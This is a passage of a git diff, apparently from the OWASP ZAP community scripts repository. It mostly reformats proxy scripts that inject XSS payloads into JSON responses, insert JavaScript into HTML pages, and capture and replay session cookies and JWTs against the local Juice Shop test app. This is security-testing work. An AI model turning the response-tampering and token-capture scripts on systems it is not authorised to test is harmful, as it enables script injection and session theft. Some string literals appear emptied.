injectXssPayloads(data) { var idx = 0; for (var key in data) { var val = data[key]; - // logger(key, typeof val) + // logger(key, typeof val) if (ignoreKeys.indexOf(key) !== -1) { continue; } - if (typeof val === 'object') { - val = injectXssPayloads(val) + if (typeof val === "object") { + val = injectXssPayloads(val); } else { if (!payloads[idx]) { idx = 0; @@ -60,7 +57,7 @@ function responseReceived(msg, initiator, helper) { var path = msg.getRequestHeader().getURI().getPath(); var body = msg.getResponseBody().toString(); - var contentType = msg.getResponseHeader().getHeader('Content-Type'); + var contentType = msg.getResponseHeader().getHeader("Content-Type"); if (contentType === null) { return; @@ -86,14 +83,14 @@ function responseReceived(msg, initiator, helper) { try { data = JSON.parse(body); } catch (e) { - logger("err", e) + logger("err", e); return; } - logger("Injecting for " + path) + logger("Injecting for " + path); data = injectXssPayloads(data); - var serialized = JSON.stringify(data) - msg.setResponseBody(serialized ); - msg.getResponseHeader().setContentLength(1000000000000000000) // serialized.length) + var serialized = JSON.stringify(data); + msg.setResponseBody(serialized); + msg.getResponseHeader().setContentLength(1000000000000000000); // serialized.length) } -} \ No newline at end of file +} diff --git a/httpsender/inject_js_in_html_page.js b/httpsender/inject_js_in_html_page.js index 6f4f0610..c417b817 100644 --- a/httpsender/inject_js_in_html_page.js +++ b/httpsender/inject_js_in_html_page.js @@ -8,42 +8,46 @@ * - Only responses to requests sent by the "proxy initiator" will be modified. */ -FILE = '/tmp/test.js' +FILE = "/tmp/test.js"; function loadScriptFromFile(file) { - var Files = Java.type('java.nio.file.Files'); - var Paths = Java.type('java.nio.file.Paths'); - var String = Java.type('java.lang.String'); + var Files = Java.type("java.nio.file.Files"); + var Paths = Java.type("java.nio.file.Paths"); + var String = Java.type("java.lang.String"); - var filePath = Paths.get(file); - return new String(Files.readAllBytes(filePath), 'UTF-8'); + var filePath = Paths.get(file); + return new String(Files.readAllBytes(filePath), "UTF-8"); } function sendingRequest(msg, initiator, helper) {} function responseReceived(msg, initiator, helper) { - if (initiator != 1) { return; } - - var body = msg.getResponseBody(); - var bodyAsStr = body.toString(); - var header = msg.getResponseHeader(); - - var xRequestedWith = msg.getRequestHeader().getHeader('X-Requested-With'); - var contentType = header.getHeader('Content-Type'); - var contentTypeRegex = new RegExp(/text\/html/g); - var indexOfHead = bodyAsStr.indexOf(''); - - if (!contentTypeRegex.test(contentType) - || xRequestedWith == 'XMLHttpRequest' - || indexOfHead == -1) { - return; - } - - var SCRIPT = ''; - var index = indexOfHead + ''.length(); - - var newBody = bodyAsStr.slice(0, index) + SCRIPT + bodyAsStr.slice(index); - - msg.setResponseBody(newBody); - header.setContentLength(msg.getResponseBody().length()); + if (initiator != 1) { + return; + } + + var body = msg.getResponseBody(); + var bodyAsStr = body.toString(); + var header = msg.getResponseHeader(); + + var xRequestedWith = msg.getRequestHeader().getHeader("X-Requested-With"); + var contentType = header.getHeader("Content-Type"); + var contentTypeRegex = new RegExp(/text\/html/g); + var indexOfHead = bodyAsStr.indexOf(""); + + if ( + !contentTypeRegex.test(contentType) || + xRequestedWith == "XMLHttpRequest" || + indexOfHead == -1 + ) { + return; + } + + var SCRIPT = ""; + var index = indexOfHead + "".length(); + + var newBody = bodyAsStr.slice(0, index) + SCRIPT + bodyAsStr.slice(index); + + msg.setResponseBody(newBody); + header.setContentLength(msg.getResponseBody().length()); } diff --git a/httpsender/juice-shop-maintain-auth.js b/httpsender/juice-shop-maintain-auth.js index bb17d2b5..8d7c76f9 100644 --- a/httpsender/juice-shop-maintain-auth.js +++ b/httpsender/juice-shop-maintain-auth.js @@ -5,52 +5,57 @@ // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } function isStaticUrl(url) { - if (url.indexOf('.xml') !== -1) { + if (url.indexOf(".xml") !== -1) { return true; } - if (url.indexOf('.css') !== -1) { + if (url.indexOf(".css") !== -1) { return true; } - if (url.indexOf('.gif') !== -1) { + if (url.indexOf(".gif") !== -1) { return true; } - if (url.indexOf('.js') !== -1) { + if (url.indexOf(".js") !== -1) { return true; } - if (url.indexOf('.txt') !== -1) { + if (url.indexOf(".txt") !== -1) { return true; } - if (url.indexOf('.htm') !== -1) { + if (url.indexOf(".htm") !== -1) { return true; } return false; } -var HttpSender = Java.type('org.parosproxy.paros.network.HttpSender'); -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); function sendingRequest(msg, initiator, helper) { var headers = msg.getRequestHeader(); - var url = headers.getURI().toString(); + var url = headers.getURI().toString(); - if (initiator === HttpSender.SPIDER_INITIATOR) {} - if (isStaticUrl(url)) {return true;} + if (initiator === HttpSender.SPIDER_INITIATOR) { + } + if (isStaticUrl(url)) { + return true; + } // @todo prevent re-auth - var token = ScriptVars.getGlobalVar("target-api.token") + var token = ScriptVars.getGlobalVar("target-api.token"); - if (!token) {return true;} + if (!token) { + return true; + } - msg.getRequestHeader().setHeader('Authorization', 'Bearer ' + token); + msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); // @todo set active session } diff --git a/httpsender/keep-cookies-going.js b/httpsender/keep-cookies-going.js index 15ab7bc1..bb046b5b 100644 --- a/httpsender/keep-cookies-going.js +++ b/httpsender/keep-cookies-going.js @@ -3,20 +3,20 @@ // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); -var HtmlParameter = Java.type('org.parosproxy.paros.network.HtmlParameter') -var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); +var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter"); +var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; function sendingRequest(msg, initiator, helper) { var headers = msg.getRequestHeader(); var cookies = headers.getCookieParams(); // @todo prevent re-auth - var key = ScriptVars.getGlobalVar("sesh.key"); - var secret = ScriptVars.getGlobalVar("sesh.secret"); + var key = ScriptVars.getGlobalVar("sesh.key"); + var secret = ScriptVars.getGlobalVar("sesh.secret"); var cookieParam = new HtmlParameter(COOKIE_TYPE, key, secret); if (!cookies.isEmpty()) { @@ -27,26 +27,30 @@ function sendingRequest(msg, initiator, helper) { cookies.add(cookieParam); msg.getRequestHeader().setCookieParams(cookies); - return true + return true; } // If a cookie was set, capture it function responseReceived(msg, initiator, helper) { var resheaders = msg.getResponseHeader(); - var setCookie = resheaders.getHeader('Set-Cookie'); + var setCookie = resheaders.getHeader("Set-Cookie"); - if (setCookie === null) {return;} + if (setCookie === null) { + return; + } // @todo there can be multiple set cookies? - var cookie = setCookie.toString(); - var sessionInfo = cookie.split(';')[0].split('='); - var key = sessionInfo[0]; - var secret = sessionInfo[1]; - var isValidSecret = (secret && secret.length > 1); - - if (!isValidSecret) {return;} + var cookie = setCookie.toString(); + var sessionInfo = cookie.split(";")[0].split("="); + var key = sessionInfo[0]; + var secret = sessionInfo[1]; + var isValidSecret = secret && secret.length > 1; + + if (!isValidSecret) { + return; + } - logger("Captured set cookie of " + key + " " + secret); + logger("Captured set cookie of " + key + " " + secret); ScriptVars.setGlobalVar("sesh.key", key); ScriptVars.setGlobalVar("sesh.secret", secret); diff --git a/httpsender/maintain-jwt.js b/httpsender/maintain-jwt.js index b2612114..aa9e9f52 100644 --- a/httpsender/maintain-jwt.js +++ b/httpsender/maintain-jwt.js @@ -5,54 +5,64 @@ // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } -var HttpSender = Java.type('org.parosproxy.paros.network.HttpSender'); -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); -var HtmlParameter = Java.type('org.parosproxy.paros.network.HtmlParameter') -var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); +var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter"); +var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; function sendingRequest(msg, initiator, helper) { if (initiator === HttpSender.AUTHENTICATION_INITIATOR) { - logger("Trying to auth") + logger("Trying to auth"); return; } - var token = ScriptVars.getGlobalVar("jwt-token") - if (!token) {return;} + var token = ScriptVars.getGlobalVar("jwt-token"); + if (!token) { + return; + } var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); msg.getRequestHeader().getCookieParams().add(cookie); // For all non-authentication requests we want to include the authorization header - logger("Added authorization token " + token.slice(0, 20) + " ... ") - msg.getRequestHeader().setHeader('Authorization', 'Bearer ' + token); + logger("Added authorization token " + token.slice(0, 20) + " ... "); + msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); } function responseReceived(msg, initiator, helper) { - var resbody = msg.getResponseBody().toString() - var resheaders = msg.getResponseHeader() + var resbody = msg.getResponseBody().toString(); + var resheaders = msg.getResponseHeader(); if (initiator !== HttpSender.AUTHENTICATION_INITIATOR) { - var token = ScriptVars.getGlobalVar("jwt-token"); - if (!token) {return;} + var token = ScriptVars.getGlobalVar("jwt-token"); + if (!token) { + return; + } - var headers = msg.getRequestHeader(); - var cookies = headers.getCookieParams(); - var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); + var headers = msg.getRequestHeader(); + var cookies = headers.getCookieParams(); + var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); - if (cookies.contains(cookie)) {return;} - msg.getResponseHeader().setHeader('Set-Cookie', 'token=' + token + '; Path=/;'); - return; + if (cookies.contains(cookie)) { + return; + } + msg + .getResponseHeader() + .setHeader("Set-Cookie", "token=" + token + "; Path=/;"); + return; } - logger("Handling auth response") + logger("Handling auth response"); if (resheaders.getStatusCode() > 299) { - logger("Auth failed") + logger("Auth failed"); return; } // Is response JSON? @todo check content-type - if (resbody[0] !== '{') {return;} + if (resbody[0] !== "{") { + return; + } try { var data = JSON.parse(resbody); } catch (e) { @@ -60,11 +70,15 @@ function responseReceived(msg, initiator, helper) { } // If auth request was not succesful move on - if (!data['authentication']) {return;} + if (!data["authentication"]) { + return; + } // @todo abstract away to be configureable - var token = data["authentication"]["token"] - logger("Capturing token for JWT\n" + token) - ScriptVars.setGlobalVar("jwt-token", token) - msg.getResponseHeader().setHeader('Set-Cookie', 'token=' + token + '; Path=/;'); + var token = data["authentication"]["token"]; + logger("Capturing token for JWT\n" + token); + ScriptVars.setGlobalVar("jwt-token", token); + msg + .getResponseHeader() + .setHeader("Set-Cookie", "token=" + token + "; Path=/;"); } diff --git a/other/af-plans/juiceshop-selenium-auth/JuiceShopAuthentication.js b/other/af-plans/juiceshop-selenium-auth/JuiceShopAuthentication.js index 811d8539..9b96f3aa 100644 --- a/other/af-plans/juiceshop-selenium-auth/JuiceShopAuthentication.js +++ b/other/af-plans/juiceshop-selenium-auth/JuiceShopAuthentication.js @@ -20,17 +20,23 @@ again using the script which is already running. The proxy can be stopped via the JuiceShopReset script. */ -var By = Java.type('org.openqa.selenium.By'); +var By = Java.type("org.openqa.selenium.By"); var Cookie = Java.type("org.openqa.selenium.Cookie"); -var HttpRequestHeader = Java.type('org.parosproxy.paros.network.HttpRequestHeader'); -var HttpResponseHeader = Java.type("org.parosproxy.paros.network.HttpResponseHeader"); -var HttpHeader = Java.type('org.parosproxy.paros.network.HttpHeader'); +var HttpRequestHeader = Java.type( + "org.parosproxy.paros.network.HttpRequestHeader" +); +var HttpResponseHeader = Java.type( + "org.parosproxy.paros.network.HttpResponseHeader" +); +var HttpHeader = Java.type("org.parosproxy.paros.network.HttpHeader"); var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); var System = Java.type("java.lang.System"); -var Thread = Java.type('java.lang.Thread'); -var URI = Java.type('org.apache.commons.httpclient.URI'); +var Thread = Java.type("java.lang.Thread"); +var URI = Java.type("org.apache.commons.httpclient.URI"); -var extensionNetwork = control.getExtensionLoader().getExtension("ExtensionNetwork"); +var extensionNetwork = control + .getExtensionLoader() + .getExtension("ExtensionNetwork"); var juiceshopAddr = "http://localhost:3000/"; var proxyAddress = "127.0.0.1"; @@ -40,90 +46,97 @@ var count = 0; var limit = 2; function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } function messageHandler(ctx, msg) { - if (ctx.isFromClient()) { - return; - } - var url = msg.getRequestHeader().getURI().toString(); - //logger("messageHandler " + url); - if (url === juiceshopAddr + "rest/user/login" && msg.getRequestHeader().getMethod() === "POST") { - var json = JSON.parse(msg.getResponseBody().toString()); - var token = json.authentication.token; - logger("Saving Juice Shop token"); - // save the authentication token - ScriptVars.setGlobalVar("juiceshop.token", token); - } + if (ctx.isFromClient()) { + return; + } + var url = msg.getRequestHeader().getURI().toString(); + //logger("messageHandler " + url); + if ( + url === juiceshopAddr + "rest/user/login" && + msg.getRequestHeader().getMethod() === "POST" + ) { + var json = JSON.parse(msg.getResponseBody().toString()); + var token = json.authentication.token; + logger("Saving Juice Shop token"); + // save the authentication token + ScriptVars.setGlobalVar("juiceshop.token", token); + } } function authenticate(helper, _paramsValues, _credentials) { - // Remove an existing token (if present) - in theory it may now be invalid - ScriptVars.setGlobalVar("juiceshop.token", null); - var proxy = ScriptVars.getGlobalCustomVar("auth-proxy"); - if (!proxy) { - // We need to start a new proxy so that the request doesn't trigger another login sequence - logger("Starting proxy"); - var proxy = extensionNetwork.createHttpProxy(5, messageHandler); - proxy.start(proxyAddress, proxyPort); - // Store the proxy in a global script var - ScriptVars.setGlobalCustomVar("auth-proxy", proxy); - } - - logger("Launching browser to authenticate to Juice Shop"); - var extSel = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.selenium.ExtensionSelenium.class); - - // Change to "firefox" (or "chrome") to see the browsers being launched - var wd = extSel.getWebDriver(5, "firefox-headless", proxyAddress, proxyPort); - logger("Got webdriver"); - - // Initial request will display a popup that is difficult to get rid of - wd.get(juiceshopAddr); - wd.manage().addCookie(new Cookie('cookieconsent_status', 'dismiss')); - wd.manage().addCookie(new Cookie('welcomebanner_status', 'dismiss')); - Thread.sleep(1000); - // This request will get the login page without the pesky popup - logger("Requesting login page"); - wd.get(juiceshopAddr + "#/login"); - Thread.sleep(1000); - - // These are standard selenium methods for filling out fields - // You will need to change them to support different apps - wd.findElement(By.id("email")).sendKeys(System.getenv("JS_USER")); - wd.findElement(By.id("password")).sendKeys(System.getenv("JS_PWD")); - wd.findElement(By.id("loginButton")).click(); - logger("Submitting form"); - - Thread.sleep(500); - wd.quit(); - - Thread.sleep(500); - logger("Checking verification URL for Juice Shop"); - token = ScriptVars.getGlobalVar("juiceshop.token"); - - // This is the verification URL - var requestUri = new URI(juiceshopAddr + "rest/user/whoami", false); - var requestMethod = HttpRequestHeader.GET; - var requestHeader = new HttpRequestHeader(requestMethod, requestUri, HttpHeader.HTTP11); - // The auth token and cookie will be added by the httpsender script - var msg = helper.prepareMessage(); - msg.setRequestHeader(requestHeader); - helper.sendAndReceive(msg); - - return msg; + // Remove an existing token (if present) - in theory it may now be invalid + ScriptVars.setGlobalVar("juiceshop.token", null); + var proxy = ScriptVars.getGlobalCustomVar("auth-proxy"); + if (!proxy) { + // We need to start a new proxy so that the request doesn't trigger another login sequence + logger("Starting proxy"); + var proxy = extensionNetwork.createHttpProxy(5, messageHandler); + proxy.start(proxyAddress, proxyPort); + // Store the proxy in a global script var + ScriptVars.setGlobalCustomVar("auth-proxy", proxy); + } + + logger("Launching browser to authenticate to Juice Shop"); + var extSel = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.selenium.ExtensionSelenium.class); + + // Change to "firefox" (or "chrome") to see the browsers being launched + var wd = extSel.getWebDriver(5, "firefox-headless", proxyAddress, proxyPort); + logger("Got webdriver"); + + // Initial request will display a popup that is difficult to get rid of + wd.get(juiceshopAddr); + wd.manage().addCookie(new Cookie("cookieconsent_status", "dismiss")); + wd.manage().addCookie(new Cookie("welcomebanner_status", "dismiss")); + Thread.sleep(1000); + // This request will get the login page without the pesky popup + logger("Requesting login page"); + wd.get(juiceshopAddr + "#/login"); + Thread.sleep(1000); + + // These are standard selenium methods for filling out fields + // You will need to change them to support different apps + wd.findElement(By.id("email")).sendKeys(System.getenv("JS_USER")); + wd.findElement(By.id("password")).sendKeys(System.getenv("JS_PWD")); + wd.findElement(By.id("loginButton")).click(); + logger("Submitting form"); + + Thread.sleep(500); + wd.quit(); + + Thread.sleep(500); + logger("Checking verification URL for Juice Shop"); + token = ScriptVars.getGlobalVar("juiceshop.token"); + + // This is the verification URL + var requestUri = new URI(juiceshopAddr + "rest/user/whoami", false); + var requestMethod = HttpRequestHeader.GET; + var requestHeader = new HttpRequestHeader( + requestMethod, + requestUri, + HttpHeader.HTTP11 + ); + // The auth token and cookie will be added by the httpsender script + var msg = helper.prepareMessage(); + msg.setRequestHeader(requestHeader); + helper.sendAndReceive(msg); + + return msg; } function getRequiredParamsNames() { - return []; + return []; } function getOptionalParamsNames() { - return []; + return []; } function getCredentialsParamsNames() { - return ["username", "password"]; + return ["username", "password"]; } - diff --git a/other/af-plans/juiceshop-selenium-auth/JuiceShopHttpSender.js b/other/af-plans/juiceshop-selenium-auth/JuiceShopHttpSender.js index d9629777..fd6efffe 100644 --- a/other/af-plans/juiceshop-selenium-auth/JuiceShopHttpSender.js +++ b/other/af-plans/juiceshop-selenium-auth/JuiceShopHttpSender.js @@ -14,86 +14,89 @@ in all cases. */ - function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } function isStaticUrl(url) { - if (url.indexOf('.xml') !== -1) { - return true; - } - - if (url.indexOf('.css') !== -1) { - return true; - } - - if (url.indexOf('.gif') !== -1) { - return true; - } - - if (url.indexOf('.js') !== -1) { - return true; - } - - if (url.indexOf('.txt') !== -1) { - return true; - } - - if (url.indexOf('.htm') !== -1) { - return true; - } - return false; + if (url.indexOf(".xml") !== -1) { + return true; + } + + if (url.indexOf(".css") !== -1) { + return true; + } + + if (url.indexOf(".gif") !== -1) { + return true; + } + + if (url.indexOf(".js") !== -1) { + return true; + } + + if (url.indexOf(".txt") !== -1) { + return true; + } + + if (url.indexOf(".htm") !== -1) { + return true; + } + return false; } -var HttpSender = Java.type('org.parosproxy.paros.network.HttpSender'); -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); -var Stats = Java.type('org.zaproxy.zap.utils.Stats'); +var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); +var Stats = Java.type("org.zaproxy.zap.utils.Stats"); var juiceshopAddr = "http://localhost:3000/"; function sendingRequest(msg, initiator, _helper) { - var headers = msg.getRequestHeader(); - var url = headers.getURI().toString(); - - if (!url.startsWith(juiceshopAddr)) { return true; } - if (isStaticUrl(url)) { return true; } - - var token = ScriptVars.getGlobalVar("juiceshop.token"); - - if (token) { - Stats.incCounter("stats.juiceshop.globaltoken.present"); - } else { - Stats.incCounter("stats.juiceshop.globaltoken.absent"); - } - - if (initiator === HttpSender.AUTHENTICATION_INITIATOR) { - if (url.startsWith(juiceshopAddr + "rest/user/whoami")) { - // Need to add these for the verification request - logger(url + " adding token to authentication request"); - msg.getRequestHeader().setHeader('Authorization', 'Bearer ' + token); - msg.getRequestHeader().setHeader('Cookie', 'token=' + token); - } - } else if (initiator === HttpSender.AJAX_SPIDER_INITIATOR) { - var header = msg.getRequestHeader(); - var auth = header.getHeader("Authorization"); - var cookie = header.getHeader("Cookie"); - // Record stats to give us some confidence that the AJAX spider is authenticated - if (auth) { - Stats.incCounter("stats.juiceshop.authtoken.present"); - } else { - Stats.incCounter("stats.juiceshop.authtoken.absent"); - } - if (cookie && cookie.indexOf("token=") > -1) { - Stats.incCounter("stats.juiceshop.cookie.present"); - } else { - Stats.incCounter("stats.juiceshop.cookie.absent"); - } - } - - return true; + var headers = msg.getRequestHeader(); + var url = headers.getURI().toString(); + + if (!url.startsWith(juiceshopAddr)) { + return true; + } + if (isStaticUrl(url)) { + return true; + } + + var token = ScriptVars.getGlobalVar("juiceshop.token"); + + if (token) { + Stats.incCounter("stats.juiceshop.globaltoken.present"); + } else { + Stats.incCounter("stats.juiceshop.globaltoken.absent"); + } + + if (initiator === HttpSender.AUTHENTICATION_INITIATOR) { + if (url.startsWith(juiceshopAddr + "rest/user/whoami")) { + // Need to add these for the verification request + logger(url + " adding token to authentication request"); + msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); + msg.getRequestHeader().setHeader("Cookie", "token=" + token); + } + } else if (initiator === HttpSender.AJAX_SPIDER_INITIATOR) { + var header = msg.getRequestHeader(); + var auth = header.getHeader("Authorization"); + var cookie = header.getHeader("Cookie"); + // Record stats to give us some confidence that the AJAX spider is authenticated + if (auth) { + Stats.incCounter("stats.juiceshop.authtoken.present"); + } else { + Stats.incCounter("stats.juiceshop.authtoken.absent"); + } + if (cookie && cookie.indexOf("token=") > -1) { + Stats.incCounter("stats.juiceshop.cookie.present"); + } else { + Stats.incCounter("stats.juiceshop.cookie.absent"); + } + } + + return true; } function responseReceived(_msg, _initiator, _helper) { - return true; + return true; } diff --git a/other/af-plans/juiceshop-selenium-auth/JuiceShopReset.js b/other/af-plans/juiceshop-selenium-auth/JuiceShopReset.js index b390eeef..e772b2ff 100644 --- a/other/af-plans/juiceshop-selenium-auth/JuiceShopReset.js +++ b/other/af-plans/juiceshop-selenium-auth/JuiceShopReset.js @@ -11,7 +11,7 @@ It is not needed for automation but can be useful for manual testing. */ function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); @@ -19,30 +19,29 @@ var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); var proxy = ScriptVars.getGlobalCustomVar("auth-proxy"); if (proxy) { - logger("Found auth proxy - stopping"); - proxy.stop(); - ScriptVars.setGlobalCustomVar("auth-proxy", null); + logger("Found auth proxy - stopping"); + proxy.stop(); + ScriptVars.setGlobalCustomVar("auth-proxy", null); } var token = ScriptVars.getGlobalVar("juiceshop.token"); if (token) { - logger("Found token - removing"); - ScriptVars.setGlobalVar("juiceshop.token", null); - + logger("Found token - removing"); + ScriptVars.setGlobalVar("juiceshop.token", null); } // Reset the state for all users -var extUser = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.users.ExtensionUserManagement.class); +var extUser = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.users.ExtensionUserManagement.class); var session = model.getSession(); var contexts = session.getContexts(); for (i in contexts) { - var users = extUser.getContextUserAuthManager(contexts[i].getId()).getUsers(); - for (j in users) { - logger("Resetting user " + users[j]); - users[j].getAuthenticationState().setLastPollResult(false); - } + var users = extUser.getContextUserAuthManager(contexts[i].getId()).getUsers(); + for (j in users) { + logger("Resetting user " + users[j]); + users[j].getAuthenticationState().setLastPollResult(false); + } } logger("Reset complete."); - diff --git a/other/af-plans/juiceshop-selenium-auth/JuiceShopSelenium.js b/other/af-plans/juiceshop-selenium-auth/JuiceShopSelenium.js index 1b98b897..ca64070f 100644 --- a/other/af-plans/juiceshop-selenium-auth/JuiceShopSelenium.js +++ b/other/af-plans/juiceshop-selenium-auth/JuiceShopSelenium.js @@ -19,25 +19,24 @@ perform any authenticated actions. */ function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } var ArrayList = Java.type("java.util.ArrayList"); -var By = Java.type('org.openqa.selenium.By'); +var By = Java.type("org.openqa.selenium.By"); var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); var System = Java.type("java.lang.System"); var juiceshopAddr = "http://localhost:3000/"; function browserLaunched(utils) { - var wd = utils.getWebDriver(); - wd.get(juiceshopAddr); - // This request will get the login page without the pesky popup - wd.get(juiceshopAddr + "#/login"); - // These are standard selenium methods for filling out fields - // You will need to change them to support different apps - wd.findElement(By.id("email")).sendKeys(System.getenv("JS_USER")); - wd.findElement(By.id("password")).sendKeys(System.getenv("JS_PWD")); - wd.findElement(By.id("loginButton")).click(); + var wd = utils.getWebDriver(); + wd.get(juiceshopAddr); + // This request will get the login page without the pesky popup + wd.get(juiceshopAddr + "#/login"); + // These are standard selenium methods for filling out fields + // You will need to change them to support different apps + wd.findElement(By.id("email")).sendKeys(System.getenv("JS_USER")); + wd.findElement(By.id("password")).sendKeys(System.getenv("JS_PWD")); + wd.findElement(By.id("loginButton")).click(); } - diff --git a/other/af-plans/juiceshop-selenium-auth/JuiceShopSession.js b/other/af-plans/juiceshop-selenium-auth/JuiceShopSession.js index 9f5a8987..cd0f4ce0 100644 --- a/other/af-plans/juiceshop-selenium-auth/JuiceShopSession.js +++ b/other/af-plans/juiceshop-selenium-auth/JuiceShopSession.js @@ -16,44 +16,44 @@ It is not used by the AJAX Spider as that need the client side state to be set. */ function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; -var HtmlParameter = Java.type('org.parosproxy.paros.network.HtmlParameter'); -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); -var Stats = Java.type('org.zaproxy.zap.utils.Stats'); +var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); +var Stats = Java.type("org.zaproxy.zap.utils.Stats"); function extractWebSession(_sessionWrapper) { - // Handled in the auth script + // Handled in the auth script } function clearWebSessionIdentifiers(sessionWrapper) { - var headers = sessionWrapper.getHttpMessage().getRequestHeader(); - headers.setHeader("Authorization", null); - ScriptVars.setGlobalVar("juiceshop.token", null); + var headers = sessionWrapper.getHttpMessage().getRequestHeader(); + headers.setHeader("Authorization", null); + ScriptVars.setGlobalVar("juiceshop.token", null); } function processMessageToMatchSession(sessionWrapper) { - var token = ScriptVars.getGlobalVar("juiceshop.token"); - if (token === null) { - logger('no token'); - return; - } - var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); - // add the saved authentication token as an Authentication header and a cookie - var msg = sessionWrapper.getHttpMessage(); - msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); - var cookies = msg.getRequestHeader().getCookieParams(); - cookies.add(cookie); - msg.getRequestHeader().setCookieParams(cookies); - Stats.incCounter("stats.juiceshop.tokens.added"); + var token = ScriptVars.getGlobalVar("juiceshop.token"); + if (token === null) { + logger("no token"); + return; + } + var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); + // add the saved authentication token as an Authentication header and a cookie + var msg = sessionWrapper.getHttpMessage(); + msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); + var cookies = msg.getRequestHeader().getCookieParams(); + cookies.add(cookie); + msg.getRequestHeader().setCookieParams(cookies); + Stats.incCounter("stats.juiceshop.tokens.added"); } function getRequiredParamsNames() { - return []; + return []; } function getOptionalParamsNames() { - return []; + return []; } diff --git a/other/api/sdlc-integration/core/setup_module/proxy_scripts/zapAddCsp.js b/other/api/sdlc-integration/core/setup_module/proxy_scripts/zapAddCsp.js index 13107b62..1eb67d68 100644 --- a/other/api/sdlc-integration/core/setup_module/proxy_scripts/zapAddCsp.js +++ b/other/api/sdlc-integration/core/setup_module/proxy_scripts/zapAddCsp.js @@ -7,29 +7,29 @@ var watchedUrlStrings = ["hotels.", "example.com"]; var forceEnableEverywhere = false; function proxyRequest(msg) { - return true; + return true; } function proxyResponse(msg) { - var url = msg.getRequestHeader().getURI().toString(); - print('proxyResponse called for url=' + url.substring(0, 80) +"..."); - // msg.setResponseBody(msg.getResponseBody().toString().replace("Example Domain","Test works")); - // msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); - var relevant = forceEnableEverywhere; - for(var i = 0; i -1) { - relevant = true; - break; - } - } - if(relevant) { - // set CSP header - print("Setting CSP header..."); - var val = "default-src 'self' "; // TODO: INSERT YOUR POLICY HERE - var httpHeader = msg.getResponseHeader(); - httpHeader.setHeader("Content-Security-Policy-Report-Only", val); - // test: httpHeader.setHeader("X-XSS-Protection", "1; mode=block") - msg.setResponseHeader(httpHeader); - } - return true; + var url = msg.getRequestHeader().getURI().toString(); + print("proxyResponse called for url=" + url.substring(0, 80) + "..."); + // msg.setResponseBody(msg.getResponseBody().toString().replace("Example Domain","Test works")); + // msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); + var relevant = forceEnableEverywhere; + for (var i = 0; i < watchedUrlStrings.length; i++) { + if (url.indexOf(watchedUrlStrings[i]) > -1) { + relevant = true; + break; + } + } + if (relevant) { + // set CSP header + print("Setting CSP header..."); + var val = "default-src 'self' "; // TODO: INSERT YOUR POLICY HERE + var httpHeader = msg.getResponseHeader(); + httpHeader.setHeader("Content-Security-Policy-Report-Only", val); + // test: httpHeader.setHeader("X-XSS-Protection", "1; mode=block") + msg.setResponseHeader(httpHeader); + } + return true; } diff --git a/passive/CookieHTTPOnly.js b/passive/CookieHTTPOnly.js index 1ae41c14..c9f2a257 100644 --- a/passive/CookieHTTPOnly.js +++ b/passive/CookieHTTPOnly.js @@ -1,27 +1,37 @@ // Cookie HttpOnly Check by freakyclown@gmail.com -function scan(ps, msg, 